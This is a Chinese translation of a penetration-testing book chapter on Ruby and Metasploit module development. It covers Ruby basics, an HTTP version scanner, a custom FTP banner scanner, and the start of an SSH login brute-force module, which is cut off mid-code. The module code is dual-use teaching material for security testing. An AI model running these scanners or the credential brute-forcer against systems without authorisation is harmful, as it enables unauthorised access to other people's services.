Metasploit 完全指南(二)
原文:
annas-archive.org/md5/7D3B5EAD1083E0AF434036361959F60E译者:飞龙
第十二章:重新发明 Metasploit
我们已经介绍了 Metasploit 的基础知识,现在我们可以进一步了解 Metasploit 框架的底层编码部分。我们将从 Ruby 编程的基础知识开始,以了解各种语法和语义。本章将使您更容易编写 Metasploit 模块。在本章中,我们将看到如何设计和制作各种具有我们选择功能的 Metasploit 模块。我们还将看看如何创建自定义后渗透模块,这将帮助我们更好地控制被利用的机器。
考虑一个情景,渗透测试范围内的系统数量庞大,我们渴望一个后渗透功能,比如从所有被利用的系统中下载特定文件。手动从每个系统下载特定文件不仅耗时,而且低效。因此,在这种情况下,我们可以创建一个自定义后渗透脚本,它将自动从所有被攻陷的系统中下载文件。
本章以 Metasploit 上下文中的 Ruby 编程的基础知识开始,并以开发各种 Metasploit 模块结束。在本章中,我们将涵盖:
-
在 Metasploit 的上下文中了解 Ruby 编程的基础知识
-
探索 Metasploit 中的模块
-
编写自定义扫描器、暴力破解和后渗透模块
-
编写 Meterpreter 脚本
-
了解 Metasploit 模块的语法和语义
-
使用 DLLs 通过RailGun执行不可能的任务
现在,让我们了解 Ruby 编程的基础知识,并收集我们编写 Metasploit 模块所需的必要要素。
在深入编写 Metasploit 模块之前,我们必须了解 Ruby 编程的核心功能,这些功能是设计这些模块所需的。为什么我们需要 Ruby 来开发 Metasploit?以下关键点将帮助我们理解这个问题的答案:
-
构建可重用代码的自动化类是 Ruby 语言的一个特性,符合 Metasploit 的需求
-
Ruby 是一种面向对象的编程风格
-
Ruby 是一种基于解释器的语言,速度快,减少开发时间
Ruby - Metasploit 的核心
Ruby 确实是 Metasploit 框架的核心。但是,Ruby 到底是什么?根据官方网站,Ruby 是一种简单而强大的编程语言,由松本行弘于 1995 年设计。它进一步被定义为一种动态、反射和通用的面向对象的编程语言,具有类似 Perl 的功能。
您可以从以下网址下载 Windows/Linux 的 Ruby:rubyinstaller.org/downloads/。
您可以在以下网址找到一个学习 Ruby 实践的优秀资源:tryruby.org/levels/1/challenges/0。
创建您的第一个 Ruby 程序
Ruby 是一种易于学习的编程语言。现在,让我们从 Ruby 的基础知识开始。请记住,Ruby 是一种广泛的编程语言,覆盖 Ruby 的所有功能将超出本书的范围。因此,我们只会坚持设计 Metasploit 模块所需的基本要素。
与 Ruby shell 交互
Ruby 提供了一个交互式 shell,与之一起工作将帮助我们了解基础知识。所以,让我们开始吧。打开 CMD/Terminal 并键入irb以启动 Ruby 交互式 shell。
让我们在 Ruby shell 中输入一些内容,看看会发生什么;假设我输入数字2,如下所示:
irb(main):001:0> 2
=> 2
shell 只是返回值。让我们再输入一些内容,比如带有加法运算符的内容,如下所示:
irb(main):002:0> 2+3
=> 5
我们可以看到,如果我们以表达式的形式输入数字,shell 会返回表达式的结果。
让我们对字符串执行一些功能,例如将字符串的值存储在变量中,如下所示:
irb(main):005:0> a= "nipun"
=> "nipun"
irb(main):006:0> b= "loves Metasploit"
=> "loves metasploit"
在为变量a和b分配值之后,让我们看看当我们在控制台上输入a和a+b时会发生什么:
irb(main):014:0> a
=> "nipun"
irb(main):015:0> a+b
=> "nipun loves metasploit"
我们可以看到当我们输入a时,它反映了存储在名为a的变量中的值。同样,a+b给了我们连接的a和b。
在 shell 中定义方法
方法或函数是一组语句,当我们调用它时将执行。我们可以在 Ruby 的交互式 shell 中轻松声明方法,也可以使用脚本声明方法。在处理 Metasploit 模块时,了解方法是很重要的。让我们看看语法:
def method_name [( [arg [= default]]...[, * arg [, &expr ]])]
expr
end
要定义一个方法,我们使用def后跟方法名,括号中包含参数和表达式。我们还使用end语句,跟随所有表达式以设置方法定义的结束。在这里,arg指的是方法接收的参数。此外,expr指的是方法接收或计算的表达式。让我们看一个例子:
irb(main):002:0> def xorops(a,b)
irb(main):003:1> res = a ^ b
irb(main):004:1> return res
irb(main):005:1> end
=> :xorops
我们定义了一个名为xorops的方法,它接收名为a和b的两个参数。此外,我们对接收的参数进行了异或操作,并将结果存储在一个名为res的新变量中。最后,我们使用return语句返回结果:
irb(main):006:0> xorops(90,147)
=> 201
我们可以看到我们的函数通过执行异或操作打印出了正确的值。Ruby 提供了两种不同的函数来打印输出:puts和print。当涉及到 Metasploit 框架时,主要使用print_line函数。然而,可以使用print_good、print_status和print_error语句来表示成功、状态和错误。让我们看一些例子:
print_good("Example of Print Good")
print_status("Example of Print Status")
print_error("Example of Print Error")
这些print方法在与 Metasploit 模块一起使用时,将产生以下输出:绿色的+符号表示良好,蓝色的*表示状态消息,红色的-表示错误:
[+] Example of Print Good
[*] Example of Print Status
[-] Example of Print Error
我们将在本章的后半部分看到各种print语句类型的工作方式。
Ruby 中的变量和数据类型
变量是一个可以随时更改值的占位符。在 Ruby 中,我们只在需要时声明变量。Ruby 支持许多变量数据类型,但我们只讨论与 Metasploit 相关的类型。让我们看看它们是什么。
处理字符串
字符串是表示字符流或序列的对象。在 Ruby 中,我们可以轻松地将字符串值赋给变量,就像在前面的例子中看到的那样。只需在引号或单引号中定义值,我们就可以将值赋给字符串。
建议使用双引号,因为如果使用单引号,可能会出现问题。让我们看看可能出现的问题:
irb(main):005:0> name = 'Msf Book'
=> "Msf Book"
irb(main):006:0> name = 'Msf's Book'
irb(main):007:0' '
我们可以看到当我们使用单引号时,它可以正常工作。然而,当我们尝试将Msf's替换为值Msf时,出现了错误。这是因为它将Msf's字符串中的单引号解释为单引号的结束,这并不是事实;这种情况导致了基于语法的错误。
连接字符串
在处理 Metasploit 模块时,我们将需要字符串连接功能。我们将有多个实例需要将两个不同的结果连接成一个字符串。我们可以使用+运算符执行字符串连接。但是,我们可以使用<<运算符向变量附加数据来延长变量:
irb(main):007:0> a = "Nipun"
=> "Nipun"
irb(main):008:0> a << " loves"
=> "Nipun loves"
irb(main):009:0> a << " Metasploit"
=> "Nipun loves Metasploit"
irb(main):010:0> a
=> "Nipun loves Metasploit"
irb(main):011:0> b = " and plays counter strike"
=> " and plays counter strike"
irb(main):012:0> a+b
=> "Nipun loves Metasploit and plays counter strike"
我们可以看到,我们首先将值"Nipun"赋给变量a,然后使用<<运算符将"loves"和"Metasploit"附加到它上。我们可以看到我们使用了另一个变量b,并将值"and plays counter strike"存储在其中。接下来,我们简单地使用+运算符连接了这两个值,并得到了完整的输出"Nipun loves Metasploit and plays counter strike"。
子字符串函数
在 Ruby 中找到字符串的子字符串非常容易。我们只需要在字符串中指定起始索引和长度,如下例所示:
irb(main):001:0> a= "12345678"
=> "12345678"
irb(main):002:0> a[0,2]
=> "12"
irb(main):003:0> a[2,2]
=> "34"
拆分函数
我们可以使用split函数将字符串的值拆分为变量数组。让我们看一个快速示例来演示这一点:
irb(main):001:0> a = "mastering,metasploit"
=> "mastering,metasploit"
irb(main):002:0> b = a.split(",")
=> ["mastering", "metasploit"]
irb(main):003:0> b[0]
=> "mastering"
irb(main):004:0> b[1]
=> "metasploit"
我们可以看到,我们已经将字符串的值从","位置拆分为一个新数组b。现在,包含值"mastering"和"metasploit"的"mastering,metasploit"字符串分别形成数组b的第 0 和第 1 个元素。
Ruby 中的数字和转换
我们可以直接在算术运算中使用数字。但是,在处理用户输入时,记得使用.to_i函数将字符串转换为整数。另一方面,我们可以使用.to_s函数将整数转换为字符串。
让我们看一些快速示例及其输出:
irb(main):006:0> b="55"
=> "55"
irb(main):007:0> b+10
TypeError: no implicit conversion of Fixnum into String
from (irb):7:in `+'
from (irb):7
from C:/Ruby200/bin/irb:12:in `<main>'
irb(main):008:0> b.to_i+10
=> 65
irb(main):009:0> a=10
=> 10
irb(main):010:0> b="hello"
=> "hello"
irb(main):011:0> a+b
TypeError: String can't be coerced into Fixnum
from (irb):11:in `+'
from (irb):11
from C:/Ruby200/bin/irb:12:in `<main>'
irb(main):012:0> a.to_s+b
=> "10hello"
我们可以看到,当我们将a的值赋给带引号的b时,它被视为字符串,并且在执行加法操作时生成了错误。然而,一旦使用to_i函数,它将值从字符串转换为整数变量,并且加法操作成功执行。同样,关于字符串,当我们尝试将整数与字符串连接时,会出现错误。但是,在转换后,它可以正常工作。
Ruby 中的转换
在处理漏洞利用和模块时,我们将需要大量的转换操作。让我们看看我们将在接下来的部分中使用的一些转换:
-
十六进制转十进制转换:
-
在 Ruby 中,使用内置的
hex函数很容易将值从十六进制转换为十进制。让我们来看一个例子:
irb(main):021:0> a= "10"
=> "10"
irb(main):022:0> a.hex
=> 16
-
- 我们可以看到,对于十六进制值
10,我们得到了值16。
- 我们可以看到,对于十六进制值
-
十进制转十六进制转换:
-
前面函数的相反操作可以使用
to_s函数执行,如下所示:
irb(main):028:0> 16.to_s(16)
=> "10"
Ruby 中的范围
范围是重要的方面,在 Metasploit 等辅助模块中广泛使用扫描仪和模糊测试器。
让我们定义一个范围,并查看我们可以对这种数据类型执行的各种操作:
irb(main):028:0> zero_to_nine= 0..9
=> 0..9
irb(main):031:0> zero_to_nine.include?(4)
=> true
irb(main):032:0> zero_to_nine.include?(11)
=> false
irb(main):002:0> zero_to_nine.each{|zero_to_nine| print(zero_to_nine)}
0123456789=> 0..9
irb(main):003:0> zero_to_nine.min
=> 0
irb(main):004:0> zero_to_nine.max
=> 9
我们可以看到,范围提供了各种操作,如搜索、查找最小和最大值以及显示范围内的所有数据。在这里,include?函数检查值是否包含在范围内。此外,min和max函数显示范围内的最低和最高值。
Ruby 中的数组
我们可以简单地将数组定义为各种值的列表。让我们看一个例子:
irb(main):005:0> name = ["nipun","metasploit"]
=> ["nipun", "metasploit"]
irb(main):006:0> name[0]
=> "nipun"
irb(main):007:0> name[1]
=> "metasploit"
到目前为止,我们已经涵盖了编写 Metasploit 模块所需的所有变量和数据类型。
有关变量和数据类型的更多信息,请参阅以下链接:www.tutorialspoint.com/ruby/index.htm。
请参考以下链接,了解如何有效使用 Ruby 编程的快速备忘单:github.com/savini/cheatsheets/raw/master/ruby/RubyCheat.pdf。
从其他编程语言转换到 Ruby?请参考一个有用的指南:hyperpolyglot.org/scripting。
Ruby 中的方法
方法是函数的另一个名称。与 Ruby 不同背景的程序员可能会互换使用这些术语。方法是执行特定操作的子例程。使用方法实现代码的重用,并显著减少程序的长度。定义方法很容易,它们的定义以def关键字开始,并以end语句结束。让我们考虑一个简单的程序,以了解它们的工作原理,例如,打印出50的平方:
def print_data(par1)
square = par1*par1
return square
end
answer = print_data(50)
print(answer)
print_data方法接收从主函数发送的参数,将其与自身相乘,并使用return语句发送回去。程序将这个返回值保存在一个名为answer的变量中,并打印这个值。在本章的后半部分以及接下来的几章中,我们将大量使用方法。
决策运算符
决策也是一个简单的概念,与任何其他编程语言一样。让我们看一个例子:
irb(main):001:0> 1 > 2
=> false
让我们也考虑字符串数据的情况:
irb(main):005:0> "Nipun" == "nipun"
=> false
irb(main):006:0> "Nipun" == "Nipun"
=> true
让我们考虑一个带有决策运算符的简单程序:
def find_match(a)
if a =~ /Metasploit/
return true
else
return false
end
end
# Main Starts Here
a = "1238924983Metasploitduidisdid"
bool_b=find_match(a)
print bool_b.to_s
在上面的程序中,我们使用了单词"Metasploit",它位于垃圾数据的中间,并赋值给变量a。接下来,我们将这些数据发送到find_match()方法,它匹配/Metasploit/正则表达式。如果变量a包含单词"Metasploit",则返回 true 条件,否则将 false 值赋给变量bool_b。
运行上述方法将基于决策运算符=~产生一个有效条件,匹配两个值。
在 Windows 环境中执行上述程序的输出将与以下输出类似:
C:\Ruby23-x64\bin>ruby.exe a.rb
true
Ruby 中的循环
迭代语句被称为循环;与任何其他编程语言一样,Ruby 编程中也存在循环。让我们使用它们,并看看它们的语法与其他语言有何不同:
def forl(a)
for i in 0..a
print("Number #{i}n")
end
end
forl(10)
上面的代码从0到10迭代循环,如范围中定义的那样,并打印出值。在这里,我们使用#{i}在print语句中打印i变量的值。n关键字指定了一个新行。因此,每次打印一个变量,它都会占据一行新行。
通过each循环迭代循环也是一种常见的做法,在 Metasploit 模块中被广泛使用。让我们看一个例子:
def each_example(a)
a.each do |i|
print i.to_s + "t"
end
end
# Main Starts Here
a = Array.new(5)
a=[10,20,30,40,50]
each_example(a)
在上面的代码中,我们定义了一个接受数组a的方法,并使用each循环打印出所有的元素。使用each方法进行循环将把a数组的元素临时存储在i中,直到在下一个循环中被覆盖。t在print语句中表示一个制表符。
更多关于循环的信息,请参考www.tutorialspoint.com/ruby/ruby_loops.htm。
正则表达式
正则表达式用于匹配字符串或在给定一组字符串或句子中的出现次数。当涉及到 Metasploit 时,正则表达式的概念至关重要。我们在大多数情况下使用正则表达式,比如编写模糊测试器、扫描器、分析给定端口的响应等。
让我们看一个演示正则表达式用法的程序的例子。
考虑一个情景,我们有一个变量n,值为Hello world,我们需要为它设计正则表达式。让我们看一下以下代码片段:
irb(main):001:0> n = "Hello world"
=> "Hello world"
irb(main):004:0> r = /world/
=> /world/
irb(main):005:0> r.match n
=> #<MatchData "world">
irb(main):006:0> n =~ r
=> 6
我们创建了另一个名为r的变量,并将我们的正则表达式存储在其中,即/world/。在下一行,我们使用MatchData类的match对象将正则表达式与字符串进行匹配。Shell 响应了一条消息,MatchData "world",表示成功匹配。接下来,我们将使用另一种方法来使用=~运算符匹配字符串的方式,它返回匹配的确切位置。让我们看另一个做法:
irb(main):007:0> r = /^world/
=> /^world/
irb(main):008:0> n =~ r
=> nil
irb(main):009:0> r = /^Hello/
=> /^Hello/
irb(main):010:0> n =~ r
=> 0
irb(main):014:0> r= /world$/
=> /world$/
irb(main):015:0> n=~ r
=> 6
让我们给r赋一个新值,即/^world/;这里,^运算符告诉解释器从开头匹配字符串。如果没有匹配,我们得到nil作为输出。我们修改这个表达式以从单词Hello开始;这次,它给我们返回位置0,表示匹配从最开始开始。接下来,我们将正则表达式修改为/world$/,表示我们需要从结尾匹配单词world,以便进行成功匹配。
有关 Ruby 正则表达式的更多信息,请参阅:www.tutorialspoint.com/ruby/ruby_regular_expressions.htm。
请参考以下链接,了解如何有效使用 Ruby 编程的快速备忘单:github.com/savini/cheatsheets/raw/master/ruby/RubyCheat.pdf 和 hyperpolyglot.org/scripting。
有关构建正确的正则表达式,请参考 rubular.com/。
用 Ruby 基础知识结束
你好!还醒着吗?这是一次累人的会话,对吧?我们刚刚介绍了设计 Metasploit 模块所需的 Ruby 基本功能。Ruby 非常广泛,不可能在这里涵盖所有方面。但是,请参考以下链接中关于 Ruby 编程的一些优秀资源:
-
Ruby 教程的优秀资源可在以下链接找到:
tutorialspoint.com/ruby/ -
使用 Ruby 编程的快速备忘单可以在以下链接找到:
-
有关 Ruby 的更多信息,请访问:
en.wikibooks.org/wiki/Ruby_Programming
开发自定义模块
让我们深入了解编写模块的过程。Metasploit 有各种模块,如有效载荷、编码器、利用、NOP 生成器和辅助程序。在本节中,我们将介绍开发模块的基本知识;然后,我们将看看如何创建自定义模块。
我们将讨论辅助和后利用模块的开发。此外,我们将在下一章中介绍核心利用模块。但是,在本章中,让我们详细讨论模块构建的基本要点。
在脑袋里建立一个模块
在深入构建模块之前,让我们了解 Metasploit 框架中组件的排列方式以及它们的作用。
Metasploit 框架的架构
Metasploit 包含各种组件,如必要的库、模块、插件和工具。Metasploit 结构的图形视图如下:
让我们看看这些组件是什么,它们是如何工作的。最好从作为 Metasploit 核心的库开始。我们可以在下表中看到核心库:
| 库名称 | 用法 |
|---|---|
REX | 处理几乎所有核心功能,如设置套接字、连接、格式化和所有其他原始功能 |
MSF CORE | 提供了描述框架的底层 API 和实际核心 |
MSF BASE | 为模块提供友好的 API 支持 |
在 Metasploit 中有许多类型的模块,它们在功能上有所不同。我们有用于创建对被利用系统的访问通道的有效载荷模块。我们有辅助模块来执行操作,如信息收集、指纹识别、模糊化应用程序和登录到各种服务。让我们看一下这些模块的基本功能,如下表所示:
| 模块类型 | 用法 |
|---|---|
| 有效载荷 | 有效载荷用于在利用系统后执行操作,如连接到或从目标系统,或执行特定任务,如安装服务等。在成功利用系统后,有效载荷执行是下一步。在上一章中广泛使用的 Meterpreter shell 是典型的 Metasploit 有效载荷。 |
| 辅助 | 执行特定任务的模块,如信息收集、数据库指纹识别、端口扫描和目标网络上的横幅抓取的辅助模块。 |
| 编码器 | 编码器用于对载荷和攻击向量进行编码,以逃避杀毒软件或防火墙的检测。 |
| NOPs | NOP 生成器用于对齐,从而使利用稳定。 |
| 利用 | 触发漏洞的实际代码。 |
了解文件结构
Metasploit 的文件结构按照以下图示的方案布置:
我们将通过以下表格介绍最相关的目录,这将帮助我们构建 Metasploit 模块:
| 目录 | 用途 |
|---|---|
lib | Metasploit 的核心;它包含了所有必要的库文件,帮助我们构建 MSF 模块。 |
模块 | 所有的 Metasploit 模块都包含在这个目录中;从扫描器到后渗透模块,Metasploit 项目中集成的每个模块都可以在这个目录中找到。 |
工具 | 包含在这个文件夹中的命令行实用程序有助于渗透测试;从创建垃圾模式到查找成功利用编写的 JMP ESP 地址,所有必要的命令行实用程序都在这里。 |
插件 | 所有扩展 Metasploit 功能的插件都存储在这个目录中。标准插件包括 OpenVAS、Nexpose、Nessus 等,可以使用load命令加载到框架中。 |
脚本 | 这个目录包含 Meterpreter 和其他各种脚本。 |
库布局
Metasploit 模块是由不同库中包含的各种功能以及一般的 Ruby 编程构建而成。现在,要使用这些功能,我们首先需要了解它们是什么。我们如何触发这些功能?我们需要传递多少个参数?此外,这些功能会返回什么?
让我们来看看这些库是如何组织的;如下截图所示:
正如我们在前面的截图中所看到的,我们在/lib目录中有关键的rex库以及所有其他必要的库。
/base和/core库也是一组关键的库,位于/msf目录下:
现在,在/msf/core库文件夹下,我们有所有在第一章中使用的模块的库;如下截图所示:
这些库文件为所有模块提供了核心。然而,对于不同的操作和功能,我们可以参考任何我们想要的库。在大多数 Metasploit 模块中使用的一些最常用的库文件位于core/exploits/目录中,如下截图所示:
正如我们所看到的,很容易在core/目录中找到各种类型模块的相关库。目前,我们在/lib目录中有用于利用、载荷、后渗透、编码器和其他各种模块的核心库。
访问 Metasploit Git 存储库github.com/rapid7/metasploit-framework以访问完整的源代码。
了解现有模块
开始编写模块的最佳方法是深入研究现有的 Metasploit 模块,了解它们内部是如何工作的。
Metasploit 模块的格式
Metasploit 模块的骨架相当简单。我们可以在这里显示的代码中看到通用的头部部分:
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
def initialize(info = {})
super(update_info(info,
'Name' => 'Module name',
'Description' => %q{
Say something that the user might want to know.
},
'Author' => [ 'Name' ],
'License' => MSF_LICENSE
))
end
def run
# Main function
end
end
一个模块通过使用require关键字包含必要的库开始,前面的代码中跟随着msf/core库。因此,它包括了来自/msf目录的核心库。
下一个重要的事情是定义类类型,以指定我们要创建的模块的类型。我们可以看到我们已经为同样的目的设置了MSF::Auxiliary。
在initialize方法中,这是 Ruby 中的默认构造函数,我们定义了Name,Description,Author,License,CVE等详细信息。此方法涵盖了特定模块的所有相关信息:Name通常包含被定位的软件名称;Description包含有关漏洞解释的摘录;Author是开发模块的人的名字;License是MSF_LICENSE,如前面列出的代码示例中所述。辅助模块的主要方法是run方法。因此,除非您有大量其他方法,否则所有操作都应在其中执行。但是,执行仍将从run方法开始。
分解现有的 HTTP 服务器扫描器模块
让我们使用一个简单的 HTTP 版本扫描器模块,并看看它是如何工作的。这个 Metasploit 模块的路径是:/modules/auxiliary/scanner/http/http_version.rb。
让我们系统地检查这个模块:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/http'
class MetasploitModule < Msf::Auxiliary
让我们讨论这里的安排方式。以#符号开头的版权行是注释,包含在所有 Metasploit 模块中。require 'rex/proto/http'语句要求解释器包含来自rex库的所有 HTTP 协议方法的路径。因此,来自/lib/rex/proto/http目录的所有文件的路径现在对模块可用,如下面的屏幕截图所示:
所有这些文件都包含各种 HTTP 方法,包括建立连接、GET和POST请求、响应处理等功能。
在下一行,Msf::Auxiliary将代码定义为辅助类型模块。让我们继续看代码,如下所示:
# Exploit mixins should be called first
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::WmapScanServer
# Scanner mixin should be near last
include Msf::Auxiliary::Scanner
前面的部分包括所有包含在模块中使用的方法的必要库文件。让我们列出这些包含的库的路径,如下所示:
| 包含语句 | 路径 | 用法 |
|---|---|---|
Msf::Exploit::Remote::HttpClient | /lib/msf/core/exploit/http/client.rb | 此库文件将提供各种方法,如连接到目标,发送请求,断开客户端等。 |
Msf::Auxiliary::WmapScanServer | /lib/msf/core/auxiliary/wmapmodule.rb | 你可能想知道,WMAP 是什么?WMAP 是 Metasploit 框架的基于 Web 应用程序的漏洞扫描器附加组件,它利用 Metasploit 进行 Web 测试。 |
Msf::Auxiliary::Scanner | /lib/msf/core/auxiliary/scanner.rb | 此文件包含基于扫描器的模块的各种功能。该文件支持各种方法,如运行模块,初始化和扫描进度等。 |
让我们看一下代码的下一部分:
def initialize
super(
'Name' => 'HTTP Version Detection',
'Description' => 'Display version information about each system',
'Author' => 'hdm',
'License' => MSF_LICENSE
)
register_wmap_options({
'OrderID' => 0,
'Require' => {},
})
end
这部分模块定义了initialize方法,该方法初始化了此模块的基本参数,如Name,Author,Description和License,并初始化了 WMAP 参数。现在,让我们看一下代码的最后一部分:
# Fingerprint a single host
def run_host(ip)
begin
connect
res = send_request_raw({ 'uri' => '/', 'method' => 'GET' })
fp = http_fingerprint(:response => res)
print_good("#{ip}:#{rport} #{fp}") if fp
report_service(:host => rhost, :port => rport, :sname => (ssl ? 'https' : 'http'), :info => fp)
rescue ::Timeout::Error, ::Errno::EPIPE
ensure
disconnect
end
end
end
这里的函数是扫描器的核心。
库和函数
让我们看一下在这个模块中使用的一些库的一些基本方法,如下所示:
| 函数 | 库文件 | 用法 |
|---|---|---|
run_host | /lib/msf/core/auxiliary/scanner.rb | 这是每个主机运行一次的主要方法 |
connect | /lib/msf/core/auxiliary/scanner.rb | 这用于与目标主机建立连接 |
send_raw_request | /core/exploit/http/client.rb | 此方法用于向目标发出原始的 HTTP 请求 |
request_raw | /rex/proto/http/client.rb | send_raw_request传递数据到的库方法 |
http_fingerprint | /lib/msf/core/exploit/http/client.rb | 将 HTTP 响应解析为可用变量 |
report_service | /lib/msf/core/auxiliary/report.rb | 此方法用于报告和存储在目标主机上找到的服务到数据库中 |
现在让我们了解一下这个模块。这里,我们有一个名为run_host的方法,以 IP 作为参数来建立与所需主机的连接。run_host方法是从/lib/msf/core/auxiliary/scanner.rb库文件中引用的。这个方法将为每个主机运行一次,如下面的截图所示:
接下来,我们有begin关键字,表示代码块的开始。在下一条语句中,我们有connect方法,它建立与服务器的 HTTP 连接,如前面的表中所讨论的。
接下来,我们定义一个名为res的变量,它将存储响应。我们将使用/core/exploit/http/client.rb文件中的send_raw_request方法,参数为URI为/,请求的method为GET:
上述方法将帮助您连接到服务器,创建请求,发送请求并读取响应。我们将响应保存在res变量中。
这个方法将所有参数传递给/rex/proto/http/client.rb文件中的request_raw方法,这里检查了所有这些参数。我们有很多可以在参数列表中设置的参数。让我们看看它们是什么:
res是一个存储结果的变量。在下一条语句中,从/lib/msf/core/exploit/http/client.rb文件中使用http_fingerprint方法来分析fp变量中的数据。这个方法将记录和过滤诸如Set-cookie、Powered-by和其他这样的头信息。这个方法需要一个 HTTP 响应数据包来进行计算。因此,我们将提供:response => res作为参数,表示应该对之前使用res生成的请求接收到的数据进行指纹识别。然而,如果没有给出这个参数,它将重新做一切,并再次从源获取数据。下一条语句在fp变量被设置时打印出一个类型良好的信息消息,其中包括 IP、端口和服务名称的详细信息。report_service方法只是将信息存储到数据库中。它将保存目标的 IP 地址、端口号、服务类型(基于服务的 HTTP 或 HTTPS)和服务信息。最后一行rescue ::Timeout::Error, ::Errno::EPIPE将处理模块超时的异常。
现在,让我们运行这个模块,看看输出是什么:
到目前为止,我们已经看到了模块是如何工作的。我们可以看到,在成功对应用程序进行指纹识别后,信息被发布在控制台上并保存在数据库中。此外,在超时时,模块不会崩溃,并且处理得很好。让我们再进一步,尝试编写我们自定义的模块。
编写一个自定义的 FTP 扫描器模块
让我们尝试构建一个简单的模块。我们将编写一个简单的 FTP 指纹模块,看看事情是如何工作的。让我们来检查 FTP 模块的代码:
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'FTP Version Scanner Customized Module',
'Description' => 'Detect FTP Version from the Target',
'Author' => 'Nipun Jaswal',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(21),
])
end
我们通过定义我们要构建的 Metasploit 模块的类型来开始我们的代码。在这种情况下,我们正在编写一个辅助模块,它与我们之前工作过的模块非常相似。接下来,我们定义了需要从核心库集中包含的库文件,如下所示:
| 包含语句 | 路径 | 用法 |
|---|---|---|
| Msf::Exploit::Remote::Ftp | /lib/msf/core/exploit/ftp.rb | 该库文件包含了所有与 FTP 相关的必要方法,如建立连接、登录 FTP 服务、发送 FTP 命令等方法。 |
| Msf::Auxiliary::Scanner | /lib/msf/core/auxiliary/scanner.rb | 该文件包含了所有基于扫描仪的模块的各种功能。该文件支持各种方法,如运行模块、初始化和扫描进度。 |
| Msf::Auxiliary::Report | /lib/msf/core/auxiliary/report.rb | 该文件包含了所有各种报告功能,帮助将运行模块的数据存储到数据库中。 |
我们在initialize方法中定义模块的信息,如名称、描述、作者名称和许可证等属性。我们还定义了模块工作所需的选项。例如,在这里,我们将RPORT分配给端口21,这是 FTP 的默认端口。让我们继续处理模块的其余部分:
def run_host(target_host)
connect(true, false)
if(banner)
print_status("#{rhost} is running #{banner}")
report_service(:host => rhost, :port => rport, :name => "ftp", :info => banner)
end
disconnect
end
end
库和函数
让我们看看在这个模块中使用的一些重要函数的库,如下所示:
| 函数 | 库文件 | 用法 |
|---|---|---|
run_host | /lib/msf/core/auxiliary/scanner.rb | 每个主机运行一次的主要方法。 |
connect | /lib/msf/core/exploit/ftp.rb | 该函数负责初始化与主机的连接,并自动抓取横幅并将其存储在横幅变量中。 |
report_service | /lib/msf/core/auxiliary/report.rb | 该方法专门用于将服务及其相关详细信息添加到数据库中。 |
我们定义了run_host方法,作为主要方法。connect函数将负责初始化与主机的连接。然而,我们向connect函数提供了两个参数,分别是true和false。true参数定义了使用全局参数,而false关闭了模块的冗长功能。connect函数的美妙之处在于它连接到目标并自动记录 FTP 服务的横幅在名为banner的参数中,如下截图所示:
现在,我们知道结果存储在banner属性中。因此,我们只需在最后打印出横幅。接下来,我们使用report_service函数,以便将扫描数据保存到数据库中以供以后使用或进行高级报告。该方法位于辅助库部分的report.rb文件中。report_service的代码看起来类似于以下截图:
我们可以看到,report_service方法提供的参数通过另一个名为framework.db.report_service的方法传递到数据库中,该方法位于/lib/msf/core/db_manager/service.rb中。完成所有必要操作后,我们只需断开与目标的连接。
这是一个简单的模块,我建议您尝试构建简单的扫描程序和其他类似的模块。
使用 msftidy
然而,在运行此模块之前,让我们检查我们刚刚构建的模块是否在语法上是正确的。我们可以通过使用内置的 Metasploit 工具msftidy来实现这一点,如下截图所示:
我们将收到一个警告消息,指示第 20 行末尾有一些额外的空格。当我们删除额外的空格并重新运行msftidy时,我们将看到没有生成错误,这意味着模块的语法是正确的。
现在,让我们运行这个模块,看看我们收集到了什么:
我们可以看到模块成功运行,并且它具有在端口21上运行的服务的横幅,即220-FileZilla Server 0.9.60 beta。在前一个模块中,report_service函数将数据存储到服务部分,可以通过运行services命令来查看,如前面的截图所示。
有关 Metasploit 项目中模块的接受标准,可参考:github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements。
编写一个自定义的 SSH 身份验证暴力攻击。
检查弱登录凭据,我们需要执行身份验证暴力攻击。这些测试的议程不仅是为了测试应用程序是否容易受到弱凭据的攻击,还要确保适当的授权和访问控制。这些测试确保攻击者不能简单地通过尝试非穷尽的暴力攻击来绕过安全范式,并且在一定数量的随机猜测后被锁定。
设计 SSH 服务的下一个身份验证测试模块,我们将看看在 Metasploit 中设计基于身份验证的检查有多容易,并执行攻击身份验证的测试。现在让我们跳入编码部分并开始设计一个模块,如下所示:
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/ssh'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
def initialize
super(
'Name' => 'SSH Scanner',
'Description' => %q{
My Module.
},
'Author' => 'Nipun Jaswal',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(22)
])
end
在前面的示例中,我们已经看到了使用Msf::Auxiliary::Scanner和Msf::Auxiliary::Report的重要性。让我们看看其他包含的库并通过下表了解它们的用法:
| 包含语句 | 路径 | 用法 |
|---|---|---|
Msf::Auxiliary::AuthBrute | /lib/msf/core/auxiliary/auth_brute.rb | 提供必要的暴力攻击机制和功能,比如提供使用单个用户名和密码、单词列表和空密码的选项。 |
在前面的代码中,我们还包括了两个文件,分别是metasploit/framework/login_scanner/ssh和metasploit/framework/credential_collection。metasploit/framework/login_scanner/ssh文件包括了 SSH 登录扫描器库,它消除了所有手动操作,并提供了 SSH 扫描的底层 API。metasploit/framework/credential_collection文件帮助根据datastore中用户输入创建多个凭据。接下来,我们只需定义我们正在构建的模块的类型。
在initialize部分,我们为这个模块定义了基本信息。让我们看看下一部分:
def run_host(ip)
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS'],
)
scanner = Metasploit::Framework::LoginScanner::SSH.new(
host: ip,
port: datastore['RPORT'],
cred_details: cred_collection,
proxies: datastore['Proxies'],
